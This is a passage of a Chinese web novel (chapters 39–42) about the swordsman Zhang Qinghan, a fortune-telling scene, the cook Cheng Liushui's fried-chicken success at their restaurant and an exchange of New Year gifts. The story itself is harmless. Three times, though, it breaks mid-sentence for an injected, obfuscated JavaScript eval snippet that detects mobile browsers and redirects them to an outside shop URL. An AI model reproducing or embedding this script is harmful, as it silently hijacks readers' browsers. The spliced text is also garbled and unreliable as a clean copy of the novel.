张清寒调侃完儿时的仇人,这才正襟危坐了起来,表情严肃地开始摇卦,起手反复间六次爻象尽显。 “两正一反为少阳,两反一正为少阴,三个反面则是老阴,这便是动爻了,再又是两反一正少阴,两正一反少阳,最末一次还是两正一反。”立冬师兄边记录着边念念有词道,语调也高深莫测了起来,先是长叹一口气眉头紧皱,随后微微缓和,却又令人放不下心来。 “如何?”张清寒这么个冷心冷面的人看了立冬的脸,都不禁紧张起来。 “清寒啊,你同师兄说说,你现下是遇着啥难事?”立冬师兄主动上前拍着张清寒的肩膀道。 不拍还好,这一拍肩膀给张清寒一身冷汗都拍下来了,于剑道而言,他早已参透其中奥妙,堪为当世前三;于世俗而言,他位极人臣,得君后爱重;若说有什么难事,大抵便是一人,此人他琢磨不透硬不得软不得,捧在手心中还怕她不愿意。 “师兄不必忌讳,尽管直说便好,我扛得住。”张清寒轻声道,眼角不自觉地敛起。 “倒也没什么扛得住扛不住的,你这卦本为水山蹇,山间险峻更见湿滑之水,欲要前行便是无尽的险阻,若是你心中有所求,那这事便就难办了,每走一步只会难上加难。”立冬师兄褪去了往日的嬉皮笑脸道。 张清寒闻听此言,目光不禁越过片片竹林看向品味居,心中不禁悲戚了下来,原来当真是自己的自作多情罢了,自相识起她对自己说了那许多称赞之语,想必不过是从未过眼过心的恭维。 “师弟师弟!”立冬师兄这下是真惊着了,只见张清寒眼睛直了,嘴巴都耷拉了下来,俨然一个霜打的茄子。 “。。。无事,师兄接着说吧。”张清寒这才藏下些悲悲切切,强装镇定道。 “你莫急,这卦象我只说了半截,这本卦着实是不太好,实乃下下卦,奇就奇在这卦中有动爻,动爻乃是这卦象的关键,一举扭转了卦象。”立冬师兄说到这,又故作高深地捋了捋胡子。 “你再不一次将话说完,我就把你胡子剪了。”张清寒一口气差点没上来,被吊在半空中是坐立难安啊。 “哎哎哎君子动口不动手!”立冬长老撒丫子就跑到张清寒对面去了,也不亲热地叫什么“师弟”了。 他紧接着撇嘴道,“此卦中的动爻是阴爻,意味着你若是执着向前定是万般皆休,可若是依照卦象柔顺被动,以退为进静观其变,这转机就来了。 卦象便从水山蹇变为山火贲,山下之火照万物华彩,这便是中上卦象了,你要是能把握时机静观其变,说不定所求之事还真能成。” “你这意思是,我什么都不做,事情反而成了?”张清寒直接又被气笑了,这跟莫掌门醒不醒得过来,何时能醒得过来一样,都是说了等于白说。 “你看看你又急了,我什么时候说让你什么都不做了,此卦重点是看你求的是什么,若是求前程那宜静不宜动,可若是求姻缘那就是动静皆宜了。”立冬师兄道。 “动静皆宜是何解?”张清寒急忙追问道。 立冬师兄瞬间瞪大了眼睛,“咻”地一下站得笔直,对着张清寒就是指指点点了起来,“没想到啊没想到,你小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593490|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏得倒挺深,我说怎么好端端找我算起卦来,前面说的什么少年心性什么放不下,藏着掖着的做什么,你就直说你追姑娘没追着得了,磨磨唧唧半天一点儿都不大气一点儿都不上档次。” “行行行,我不大气我不上档次,你快说什么叫动静皆宜。”张清寒也是真急了,不管张立东说什么,他就想知道到底该如何做。 “看在你我师兄弟一场的份上,来为兄给你再好好瞧瞧,手伸出来。”立冬师兄仔细端详起了张清寒的手掌心,愈看愈有兴味,若有所思道, “山火贲本就是主男女姻缘的,动静皆宜就是要将主动权交还给另一方,也就是你的心上人,观你手相你这心上人也不是个寻常人,寻常姑娘莫说是主动,就是被男子搭话都羞臊得很,可你这心上人是个顶有主意的人,你若不是她想要的,便是神仙下凡也甭想入了她心门,若是她想要的,就是那贩夫走卒她也视若珍宝。” “那我能做什么?这样说来,我与她相识不短,她。。。却未曾对我有过什么逾矩之情。”张清寒低下头难得的难为情道。 “你看我这卦多准,本是襄王有意神女无梦,只待把握时机便可郎情妾意成就美满姻缘,关键在你得以静制动,你得欲抱琵琶半遮面,得回眸一笑百媚生,得暗里回眸深属意。”立冬师兄阵阵有词道。 “你这都用的什么词?”张清寒轻咳了两声道,脸顿时红得不成样子。 “意思反正就是这么个意思,你自己慢慢领会吧,为兄我年纪大了得早点回去睡了,你就先自个儿琢磨着吧。”立冬师兄转身就走了,那张脸笑得就差开花了,毕竟见着自己昔日仇敌为情所困的样子,真是太有意思了,他这就回去给大师兄三师兄六师弟写信去。 翌日天朗气清,张清寒顶着两个黑眼圈推开了房门,入眼便是一桌子精心烹饪的早饭。 一行人早已坐得七七八八,程六水正端着两碗粉笑呵呵地走过来,“东家起来得正好,我昨日特意和品味居的厨子师傅请教过,这拌粉定是叫你吃了一碗还想第二碗。” 立冬长老眼巴巴地瞅过去,好家伙卖相着实不错,莹白清爽的米粉码得齐齐的,一看就是用凉水洗过数遍的,这入嘴定是弹牙顺滑得很,喷香喷香的料汁浇在米粉上,散发着令人食指大动的香气,萝卜干雪里蕻花生米洒在其中,馋人得要命。 “好。”张清寒倒是没什么心思看米粉,他一想起昨日那卦象便心虚地低下了头,没过几瞬却又抬起头看向程六水,一双眼睛亮得吓人,本是剑眉星眸甚为夺目,此时却歪歪扭扭了起来,一双眼瞪得溜圆,两弯眉弯成了山路十八弯。 程六水呆愣了几下道,“东家,你眼睛抽筋了?” 张清寒腿一打弯差点平地摔跤,深吸一口气收回了自己研究了一晚上的“回眸一笑百媚生”道,“无事吃饭吧。” 一旁已经开始拌米粉的立冬长老,瞅瞅张清寒又瞅瞅程六水,终于福灵心至,激动地蹦起来对着程六水道,“你你你!” 40. 第 40 章 幸亏程六水手稳,极快地将那其余几碗米粉放在了石桌上,这才不至于被这一惊一乍的立冬长老吓翻,赶忙摸了摸自己的小心脏,扑通扑通地跳个不停。 好不容易缓过神来,只见那立冬长老张着嘴,嘴里塞了两个香甜软糯的白糖糕,两颊塞得鼓鼓囊囊,干嘎巴嘴也说不出来话,只能唔唔唔地叫个不停。 “长老,你没事吧?”程六水震惊道。 “他没事,这是他的旧疾了,过一会儿就好了。”张清寒拉着立冬长老就坐了下来,自己则坐在了程六水身边,语气温和道。 “我怎么不知长老有这旧疾?要不要我去请门中的药师瞧瞧。”莫年捧着碗米粉,一口爽滑的粉穿过齿尖,酱香溢满了嘴中,嘎嘣脆响的花生米一咬开,全是油炸过的香气。 “不必,他少时的毛病,我帮他治就行了。”张清寒依旧是不温不火的神情,慢悠悠地拉着还在努力咀嚼的立冬长老进了屋子。 程六水望着二人离去的背影,心下生起了缕缕好奇,六白山这地方确实是个奇山,里面出来的一个个都是武林豪杰,就是性子怪得很。 “雪意,尝尝这个白糖糕,甜甜的糯糯的,我做了许多呢今日赶路吃来最好。”程六水笑眯眯地投喂给唐雪意,瞅了瞅左边的身姿挺拔的裴然之,又看了看右边少年意气的莫年。 唐雪意坐在这二人中间却感觉不出空气中的剑拔弩张,她轻启唇瓣吃了一口白糖糕,甘甜瞬间在嘴里炸开,随之而来就是从没吃过的酥软,外皮酥脆内里柔软,糖粒随着牙齿的碰撞不停地打转,吃得她心情都好了起来。 “怎么会这么好吃啊!六水这也是你昨日学的吗?你真是太厉害了吧。”唐雪意竖起大拇指忍不住夸奖道。 “哎呀哪有哪有,一般般厉害了。”程六水咧开嘴笑得跟个向日葵一样,偏生还挥挥手做出一副难为情的样子,实则心里早就乐开了花。 随后接着道,“这白糖糕是庐山这边的特色小吃,我昨日一尝真是香甜可口月缴越想,用料却十分简单,只要糯米粉大米粉还有白糖菜籽油就成了,对再来点开水齐活。做起来也不费事,揉好面团下锅一炸,那白团子就炸开了,最后出锅裹上些白糖,一炷香的时间都要不了,酒楼多做些这个当作客人们的小食,甚是不错啊。” 唐雪意一边听着一边又拿了个白糖糕吃起来,吧唧吧唧道“六水,你是我遇到过做饭最好吃的厨子,要不你别在酒楼做了,来我们雪窦派吧,酒楼成天忙得脚不沾地,我们雪窦派就不一样了,七八个人给你打下手,你指挥就成。” 程六水这回倒是没有半分犹豫,干脆了当地开口道,“我啊还是想在酒楼多干一段时间,等什么时候攒够钱了,我自己也开一个酒楼食肆的,打工是挣不到钱的,还得自己做老板。” “我支持你!什么时候你下定决心开酒楼了,酒楼算我一股,你开的酒楼一定能火。”唐雪意笑道。 “好啊好啊,到时候准保告诉你!”程六水前世今生只有一个极为朴素的愿望,那就是开一家属于自己的小饭店,地方不需要很大,来吃的都是邻里街坊,聊得也是家长里短,昨天谁家小兔崽子闯祸,今天大米涨了两毛钱。 程六水只想守着这样平静的幸福,午后沐浴在金黄的阳光下,店里客人们三五成群地离开,她拄着下巴在摇椅上昏昏欲睡,脚边的橘黄大胖猫喵了两声也眯起了眼睛。 不必担心明天吃不上饭,也没有了对自己指手画脚的人,如果能日日都是这样的日子,她想她最终会成为一个牙齿掉光还要用假牙吃白糖糕的幸福老太太。 而屋内的张清寒对程六水心底的盘算一无所知,他只忙着堵住立冬师兄的嘴。 “我说你小子怎么不让我收六水当徒弟呢,合着你不是想当人家师父,你是想当人家相公啊。”立冬师兄伸出手指,就开始对张清寒指指点点起来。 “师兄!你小声些!”张清寒生怕被屋外的程六水听见,赶忙又捂起立冬师兄的嘴来。 立冬师兄这回学乖了,立刻噤声了起来,一副万事皆了然于胸的模样,随后小声道,“师弟你放心,你这婚事包在师兄身上了,我本是过几日再随着门派诸人前往江陵的,现下我为了师弟你舍命陪君子了,今日我们一同下山!” “大可不必了师兄!”张清寒真是悔得直想扇自己嘴巴,好端端地找这人算什么卦,算来算去全是事。 “那怎么能行呢,这男女结亲就是父母之命媒妁之言,俗话又说长兄如父,四舍五入我也算是你的半个父亲,你这亲事没了我能成吗?”立冬师兄压抑不住自己想要化作瓜田里的猹的冲动道。 张清寒听完无声地笑了,立着眼睛道,“半个父亲?” “额。。。半个兄弟总成了吧,再说了你方才那挤眉弄眼的样子,光靠你自己哪能行啊。”立冬师兄心虚地讪笑道。 “路上少说话。”张清寒若有所思了几瞬才开口应承下来。 “好嘞!”立冬师兄马上乐得屁颠颠道。 一行人浩浩荡荡地下庐山骑大马,程六水坐在一匹枣红小马上,柔顺皮毛一摸就打滑,鬃毛威风凛凛地在空中摇摆着,她嘴角的笑就没下来过,循着原主记忆中策马奔腾的模样,轻轻一纵那马就跃身而起,呼啸穿过竹林。 飒飒风声划过程六水的耳边,带来的全是自由的味道,那一刻她忽然转头看向一步之遥的张清寒,眼神中闪烁着点点星光。 丁香色的发带束不住程六水在空中凌乱的发丝,澄白的鹅蛋脸上俱是兴高采烈的红润,一双唇张张合合地不停,模糊了张清寒的五感,全然听不清程六水在说什么,只能看见她眼中的狡黠生动。 “东家!我能不能骑着马翘班啊!”风声壮大了程六水心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603870|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的火苗,这是她第一次真正地骑马,以后等她有钱了也要买一匹马,骑着马走遍这片陌生又熟悉的土地。 “不可以!”迟来的大喊大叫从她身后追了上来,程六水撇着嘴嘟嘟囔囔,说了些资本家剥削人的话,可惜张清寒一句也没听懂。 一路颠簸终于在午后才赶回酒楼,酒楼大门紧闭,与周遭店铺开门迎客的景象截然不同。 “师弟啊,你这酒楼是要黄了吧?”立冬师兄小声蛐蛐道。 “酒楼厨子被你们带走了,不歇业难不成请人吃石子吗?”张清寒瞥了眼师兄道。 程六水这才翻下马来,仔细嗅了嗅鼻翼间的味道着实熟悉,油酥酥香喷喷,粗盐粒洒在金黄油锅里捞出的土豆条,咸香酥脆中都是碳水满足,这种糖油混合物在湿冷的寒冬着实是十分吸引人的。 她心下不禁有了思量,试探性上前敲了敲门,门内开出了一条小缝,一股子热气透了出来,随之而来的还有冰冷的声音,“今天没号了,一只鸡都没了!” 此话一出,周围人都愣住了,张清寒直接一把推开了大门,好家伙真可谓是宾朋满座锣鼓喧天啊,大堂坐得满满登登,雅间里居然还有拼桌的,更别说过道上等着外带的客人。 每桌上都摆着一模一样的饭菜,要说是饭菜倒也算不上,却也是有肉有菜的,油纸上好几大块金黄炸鸡散发着诱人的香气,有的食客早就不用筷子了,拿起一块放进嘴里咔嚓作响,脆皮哪叫一个焦酥啊,差点就香迷糊了。 炸鸡旁还有些配菜,什么炸土豆条炸地瓜条,最离谱的是本该在夏季畅销的酸梅汤,直接每桌一大壶,客人喝得劲劲的,一口炸鸡嫩滑多汁,一口土豆条甘甜酥脆,再来一大口酸梅汤真真是清爽解腻。 本来忙得脚打后脑勺的马陶陶见了东家一行人,瞬间差点两行泪流了下来,“六水!六水你终于回来了,我以为你逃跑不带我了呢!” “怎么会呢!我要是逃跑肯定带你一起!”程六水亲亲热热地上前抱住马陶陶道。 “咳咳我还在这呢。”张清寒叹了口气道。 马陶陶嘴上虽然噤声了,但仍挤眉弄眼地与程六水眉目传情,两个好姐妹顿时笑成一团。 “师弟你不是刚说没有厨子了吗?咋地又有了?”立冬师兄闻着炸鸡的香味,瘪瘪的肚子不争气地叫了起来。 “这些都是玉雨炸的,昨日东家你去寻六水后,酒楼本想歇业的。可食客来得太多,偏偏还都是老主顾,玉雨说六水教她做过这种炸鸡炸土豆,又快又好吃,我们只能依样画葫芦做起来,没想到卖出第一单,那后面的客人就乌央乌央全都来了,这两天啊咱后厨是一只鸡都没了,还倒欠城东客栈八只,地窖里的土豆都吃完了快一半。”马陶陶解释道。 程六水深藏功与名地笑着,无心插柳柳成荫,古代麦麦和肯爷爷这不就开起来了吗! 41. 第 41 章 炸鸡遍地卖,土豆快清仓,这股麦麦快餐的热潮瞬间席卷了整个江陵城,男女老少纷纷起个大早排起长队来,就为赶个时髦,吃个新鲜。 这东西人人都能做,虽说味道做的不如十全酒楼好吃吧,却也能解解馋。可人最怕的就是从众,许多食客取了炸鸡炸土豆就走了,不在店中过多停留,本是用油纸好好包上的炸鸡块散发着诱人犯罪的香气,在街头巷尾飘荡着。 有的食客实在是馋得不行了,只好打开油纸举着吃了起来,这一吃倒好,一传十十传百竟成了免费的宣传广告,而那油纸外还写着“十全酒楼”四字,这焉能不赚得盆满钵满。 酒楼一连几日,是正经饭菜都不做了,早上薄饼炸鸡块挤上些西红柿熬的酱,这酱虽不如现代的番茄酱醇厚,却也是西红柿去皮切块,在锅里一两个时辰熬出来的,咕嘟咕嘟地冒着酸甜的香气。 程六水再往里放些西域来的香料,一点点却增彩不少,最后自然少不了几大勺白糖了,无论哪个年头,就没人不爱吃糖的。 而午间则是炸鸡炸鱼条炸番薯的天堂了,那些个雪窦派庐山派的武林侠士接踵而来,三五瞬的功夫就将这酒楼挤得满满当当,他们常年在江湖间游走,少不得风餐露宿饥一顿饱一顿,遇上那手艺不好的,甚至连肉都烤不熟,只能啃着干巴巴的硬饼过活。 再加上这些少年侠士自幼习武,练得多吃得自然就多,如今碰上这等金黄酥脆的鸡肉,仿佛一个个似中了迷咒一般,吃了还想吃,一人能吃好几份。 可苦了程六水和赵玉雨了,没想到这年头发横财也得遭罪,两口大油锅就没停过,炸完这个炸那个,累得程六水都快后悔教赵玉雨这么个炸鸡法子了。 这一日万里无云,是个寒冬中难得的好日子,屋外明亮的日光从纸糊的窗子透了进来,一缕缕撒在了灰黑的地上,还有正炸得火热的油锅里。 “我不想炸东西了,我好想出去瞧热闹,你看今日这天气多好啊。”程六水拿着一双十分长的木筷子,嘴上虽抱怨着手上却麻利地试探着油温,将一盆炸鸡沿着锅边放了进去。 “听说今日便是雪窦派年轻一辈试炼的日子了,他们练什么功来着?”赵玉雨之前从未在江湖上行走,这些武功门派于她而言是极为新奇的存在。 “凤鸣鲤跃鞭,说是雪窦派的独门绝技,得是童子功才能学得会,那日我见裴少侠耍过一会,那身姿当真是宛若惊鸿翩若游龙啊。”程六水笑道。 “那等我们炸完这锅就去看看好不好?”赵玉雨难得跃跃欲试道。 “好啊!炸完两锅吧,东家说炸一锅有一锅的提成,嘿嘿我还是很想赚钱的。”程六水笑眯眯举起一个剪刀手道。 “好,我从前总以为活着总是没什么滋味的,四方的天四方的地,身边总是那么几个人,连吃的东西都是轮换几日重复着来的。但来了这,虽然很累却很开心。”赵玉雨真心实意道。 程六水忽而眼神中有了一丝耐人寻味的琢磨,眯着眼睛渐渐靠近赵玉雨,直到在赵玉雨的耳边停下小声道,“这句话好耳熟,上次听到在哪来着?” “我之前说过吗?”赵玉雨转过头来疑问道。 “不,不是你,是我看过的一个话本子,里面有个后宫娘娘就这么说过,她说,没有比这四四方方的天再无聊的去处。”程六水元圆眼睛滴溜嘟噜地转了起来。 “我从前在那深宅大院里做丫鬟,可不是哪里都四四方方的吗?”赵玉雨忽而低下了头,面色颇有些不自然,轻声说道。 程六水的心里更是划了个疑影,还想再细细思量,不曾想“哐当”一声,几人推开后厨的门,伴着灿烂的阳光跑了进来。 “不得了了!找到了竟然真的找到了!”马陶陶跑得哼哧带喘的,脸上一片红晕止都止不住。 “啥?找到啥了?”程六水来不及想些别的,脱口而出道。 马陶陶这回不喘了也说不了话了,跑得太快一个劲地咳嗽了起来。 “哎呀,你看看你刚刚嗓子好了些,着什么急啊。”程六水说着,就从身后的砂锅了盛了碗温热的冰糖雪梨银耳羹。 马陶陶喝了一大口,这才缓过神来,刚想开口就见乌央乌央一帮人从外面涌入酒楼里,那些人的神情与马陶陶如出一辙,一副见了什么鬼神似的。 “不行了不行了,我要去招呼他们了,我马上回来和你讲啊。”马陶陶撒丫子就跑了。 “哎?你这什么人啊?说话能不能说完啊?”程六水作势就要揍马陶陶,不料还是脚程慢了两步。 而一旁正在偷吃篮子里炸鸡块的乔四方倒是一脸的波澜不惊,左手一只鸡,右手一只鸡,好不快活。 “这位账房先生,你不也去瞧热闹了吗?你就没什么想说的吗?”程六水撇着嘴说道。 “我?没什么想说的啊,雪窦派那帮弟子就一个个排队甩鞭子,鞭子甩得挺好看的,只不过是花架子,一半都弄不上来锦鲤。”乔四方一本正经地吃着炸鸡道。 “那陶陶方才怎么如此激动?”赵玉雨发问道。 “哦,方才接连好几个年轻弟子都失败了,给唐女侠气得呜呜渣渣的,她就下场亲自示范,她那鞭法比起前面那些确实十分不错,一鞭子下去冰面数道裂纹而起,力道恰到好处,多一分冰面震裂,少一分惊不起几尺下的鱼。”乔四方答道。 “我就知道雪意的武功可以的,早知道不多炸第二锅鸡肉了,应该早早去看热闹的。”程六水可惜道。 “没事的,午后不还有一场吗?到时候我们不干了,一同去瞧瞧。”赵玉雨安慰道。 “午后那场没了。”乔四方平静道。 “没了?怎么会没呢?可是出了什么变故?”程六水瞪大了眼睛,不可置信道。 “算不上变故吧,就是唐女侠后来又耍了几鞭,那鞭子就跟生了灵性般, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611241|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在冰面下肆意翻滚,不知是触到了什么地方,整条江竟开始在冰面下波涛汹涌了起来,不多时几股滔天巨浪从那冰面的裂缝中喷涌而出,那夹杂着冰碴的鞭子随着巨浪从天而降。”乔四方比比划划道。 “天啊,然后呢?有没有伤到人啊?”赵玉雨吓得捂起嘴巴,小声询问道。 “没有没有,两大门派早就清场了,那些个弟子手脚敏捷得很,没几下就躲开了,待到众人反应过来时,只见冰面中央的唐女侠傻愣愣地看着自己的鞭子。”乔四方接着道。 “雪意莫不是被吓傻了?”程六水担忧道。 “没吓傻,是她鞭子上有东西。”乔四方道。 “有什么?”两个炸鸡厨娘聚精会神地听着,恨不得连耳朵都竖起来。 “有个什么水草,我没记住,当时光顾着给陶陶买糖葫芦了。”乔四方挠头道。 “七宝水运草???”程六水震惊得瞠目结舌道,这草药只在古籍中见过一二,几近在世间消失殆尽,却不想真的被雪窦派找出来了。 “对对对。”乔四方吃完了最后一块炸鸡道。 “这七宝水运草很厉害吗?”赵玉雨见了程六水神情,好奇道。 “不是很厉害,是相当厉害,传说有了它便可起死回生,庐山派如此大费周章邀雪窦派来此试炼,就是为了这七宝水运草,若是真能找到,庐山派的莫掌门就有救了。”程六水不可置信地摇头道。 待到程六水三人赶到大堂时,两派并肩而坐,立冬长老面前正是那七宝水运草,形似灵芝却柔软如绸缎,若是在水中便如弱柳迎风般飘荡难寻,颜色正如古籍中记载,斑斓绚烂如七色宝石般耀眼夺目,微微靠近便是一股甘甜的清香。 立冬长老忽而起身,走到雪窦派诸人跟前,双手郑重行礼道,“今日是我庐山派在此立誓,只要还有庐山派一天,必定与雪窦派诸位同仁并肩而行,结两派之盟。” “长老多礼了,从此你我两派便是休戚与共同乐同喜。”雪窦派一位白胡子老头走了出来道,一看就是个老前辈了。 “既如此,我便不说这些虚的了,我派诸人须得尽快赶回庐山救治掌门,来日我派定亲上雪窦山登门致谢。”立冬长老又是一礼,带着庐山派诸人浩浩荡荡地快马离去。 冰江面已破,雪窦派也不必在此多留了,翌日便启程离去。 “雪意,你可要多给我来信啊!”程六水站在江陵城门口依依惜别道。 “我会的,六水你可不能忘了我,我一有空就来江陵看你!”唐雪意委屈巴巴地皱着眉毛道。 “不忘不忘,这辈子都不忘!”程六水揪着个小手绢,小媳妇般说着。 看着唐雪意渐行渐远,程六水忽而高声喊道,“要是小莫年和裴少侠打起来,你得马上告诉我啊!” 一旁的张清寒还能不知道程六水这看热闹不嫌事大的性子嘛,直接就将人拖了回去。 42. 第 42 章 “噼里啪啦巴里不里蹦”一阵阵清脆响亮的鞭炮声在江陵街头响起,程六水身着一朱红软袄袖边还镶了一圈细密的绒毛,乌黑发丝用朱红发带绑成了喜庆的双垂髻,鬓间簪着几朵小绒花,俏生生得极为可爱。 她穿梭在热闹的集市里,东看看西看看,瞧着这绣着桃李林间的钱袋极好,那成片的果子林里,遍地都是丰收的桃子李子,这不就是盆满钵满的意思嘛! “老板,这个怎么卖?”程六水眼睛亮晶晶道。 “二十文钱一个。”老板笑呵呵道。 二十文?程六水心里的小算盘又开始拨弄起来了,她今日兜里是带足了钱的,一年到头好不容易快过年了,她自然想着能买点自己喜欢的东西。 可到了节骨眼上,却是这也舍不得买那也舍不得买,节俭惯了的人花一分钱都是心疼的。程六水看那桃李钱袋旁的素黄钱袋针脚很密用料也很扎实,她瞅了瞅自己腰间早已有些毛边起球的钱袋,只得又开口问道, “老板那这个黄钱袋呢?” “这个便宜些,只要十文钱。”老板依旧笑道。 程六水心中虽犹豫不决,可最终理智还是占了上风道,“那麻烦老板帮我把这个黄钱袋包起来。” “还有这个桃李钱袋。”清冷的声音忽然出现在程六水耳侧,她一回头只见自家东家眉眼柔和整个人如光晕般化开。 “好嘞!”老板一看一开张就卖了两个,自然笑得合不拢嘴。 “东家也要买钱袋吗?我听说江陵这边的风俗便是,新年买个钱袋来年定能发财富贵。”程六水接过自己付钱的素黄钱袋,拎在手里道。 “我一个男子哪里用得着这么可爱的钱袋。”张清寒温柔道,那声音一听柔得都要滴出水来了。 “难不成?”程六水一脸兴致盎然地看向张清寒,很快就忽略了心中一点点的刺痛。 “不成什么?自然是给你买的,明明喜欢这个,为何还要买别的?”张清寒心疼道,他愈靠近六水,心中愈发柔软了起来。 她聪明她善良她成天仿佛没心事的笑呵呵,可没什么连钱袋都不买自己喜欢的?连衣服也只是一季两套换着穿?若不是过年,还不知她要什么时候再添新衣呢。 明明她工钱奖金赚得盆满钵满,前日里给陶陶买了个聚香坊的胭脂,昨日又给玉雨买了支杏花银簪,可轮到自己却这也舍不得那也舍不得。 “给我的?可我刚买了一个。”程六水避而不答,只是疑惑地问道。 “买一个就不能再买一个吗?我和立冬师兄学了一手卜卦,你明年定能发财赚大钱,到时候两个钱袋都不够装的。”张清寒笑道,将那桃李钱袋递给了程六水。 程六水眯着眼睛笑道,“东家你真是个大好人!是特别特别好的东家!” 张清寒撇了撇嘴,明知这丫头嘴里没一句真话,却还是忍不住喜欢被她夸奖,每每这个时刻,她的眼睛里就只有自己一个人了。 想到这,张清寒忽而又轻了轻嗓子道,“听说你给伙计们都买了新年礼。” “是啊,给陶陶买了盒凤仙胭脂,玉雨则是杏花簪子,四方嘛自然是找李铁匠打得一把匕首,少仲最爱酒我淘了本酒种古籍,你看是不是送得很好。”程六水仰着头笑道。 “很好,那你是不是忘了点什么?”张清寒咬着牙瞪着眼问道。 “忘了什么吗?我不是这已经给自己买钱袋了吗?就当做是自己的新年礼吧。”程六水眨巴着眼睛道。 张清寒伸出了一只手,无奈摆出了一个姿势,“你说这是几?” “六啊。”程六水理所当然道,“东家你是不是过年高兴傻了,六都不认识了。” “那你买了几个礼物?”张清寒深吸一口气,强装镇定道。 “一二三四五。。。五个礼物。”程六水狡黠地偷笑道,猛地从身后抽出来一本书递给了张清寒道,“放心吧东家,忘了谁都不会忘了你的,我送你的新年礼,你看喜不喜欢!” 张清寒瞳孔不禁放大了起来,近在咫尺的新年礼在心上人的手中摇摆着,明晃晃的四个大字在他眼前跳动着“家常食谱”。 “怎么了?你不喜欢吗?”程六水见张清寒迟迟不接着,心下就划了混儿,颇有些惴惴不安道。 张清寒一双星目直勾勾地看向程六水,如琉璃般澄净清澈,刹那间无声的烟花在眼眸中四起,绚烂至极的爱意不经意间喷涌而出,甚至都来不及收敛道,“没有,我很喜欢。” 这声音竟然还有一丝颤抖,这倒是出乎程六水的意料,怎么还激动上了,自己不就是觉着张东家这人处处都好,武功高长得帅,能文能武简直是个完人,就是做饭实在是太难吃了。 这以后酒楼生意蒸蒸日上,光是玉雨学了些菜式是不够的,最好大家都会做点,这样自己不就可以快乐地玩耍了嘛,眼下瞧着张东家的神情,看来他们二人是英雄所见略同,都对酒楼的未来充满了信心啊。 而张清寒差点都热泪盈眶了,他知程六水最爱做饭,每每见到她烹饪时眼神中的流光溢彩,张清寒便不禁心动起来,如今她竟然送自己菜谱,这不就是愿意将自己拉入她的喜好中吗? 原来比起投其所好,更令人心惊的是,同喜欢的人做她喜欢的事。 “我一定会好好珍藏的。”张清寒红了眼尾道。 “好好好。”程六水总觉得哪里怪怪的,但还是不问了吧,毕竟大过年的刨根问底不是什么好习惯,说罢转身就要向前逛去。 只不过没能走成,身后一股阻力拉住了她,她回头一瞧竟是张清寒拉住了自己的手,一双眼还亮晶晶地看向自己。 “东家怎么了?”程六水懵懵道。 “我也准备了东西送给你。”张清寒微微低下头抿嘴道,不经意滑动的喉结暴露了他的紧张。 “你不是已经送我钱袋了吗?”程六水捧起那桃李钱袋道。 “不单单是钱袋。”一抹红晕爬上了张清寒冷白的脸上,他从怀里拿出了个雕花极为精致的檀木盒子,“你回去再看吧。”说罢,武林排名前三的张东家转头就跑了,那本家常食谱早就被他当个宝贝疙瘩般揣进了自己的胸前。 程六水看着这木盒奇奇怪怪的,只得揣在袖侧,蹦蹦跳跳地去追赶前面正逛得开心的马陶陶与赵玉雨去了。 翌日便是大年三十了,程六水昨晚同小姐妹们逛到很晚,回来洗漱一番便在床上昏昏欲睡了起来,毕竟一年到头好不容易不用打工赚钱,怎么的也得睡觉睡到自然醒吧。 江陵的酒楼多是腊八就歇业了,待到正月十七才重新开张,而十全酒楼则更为勤勉敬业些,开到正月二十七才打烊关门。至于为何如此勤勉则是另有别的缘由了,大抵是这帮东家伙计没一个回家过大年的。 程六水自己不必多说,原身父母仍是踪迹未明,饶是皇城司使使尽在大乾的所有眼线,却还是查无所获,自然了留守的程六水只能留在酒楼过大年。而张清寒本就鲜少回六白山,出来这几年是一年都没回去过,今年心中更是添了牵挂之人哪里舍得留她孤孤零零自己一人在酒楼过年。 乔四方与赵玉雨本就是无父无母的孤儿,留在酒楼再合情合理不过了。但其余两人留下的理由就十分令人匪夷所思了,杜少仲与他的尚书父亲好不容易冰释前嫌,如今回去过年正是趁热打铁缓和父子关系的好时候,可惜事情出了点意外。。。 杜少仲本来已经收拾包裹准备上路了,可还没出江陵他的包袱忽然掉到了地上,没走两步那腿就直打晃了,自己直接把自己绊倒了,幸亏他摔倒的地方离酒楼近,街坊邻居都识得他,好心地将他送了回来。 程六水如今也算是颇通医术了,这小脉一把就觉察出不对劲了,火走胆经水过肝经,整个一个气血倒行,幸亏这人是不会武功啊,不然现下怎么样都不好说了。 “杜二二,你最近都做什么了?”程六水皱眉道。 “我也没干什么啊,我白天在酒楼做饮子酿酒,晚上作画题词,和平时没什么两样啊。”杜少仲虚弱道,一脸可怜兮兮的模样。 “那你有吃什么异于平常的东西吗?”程六水追问道。 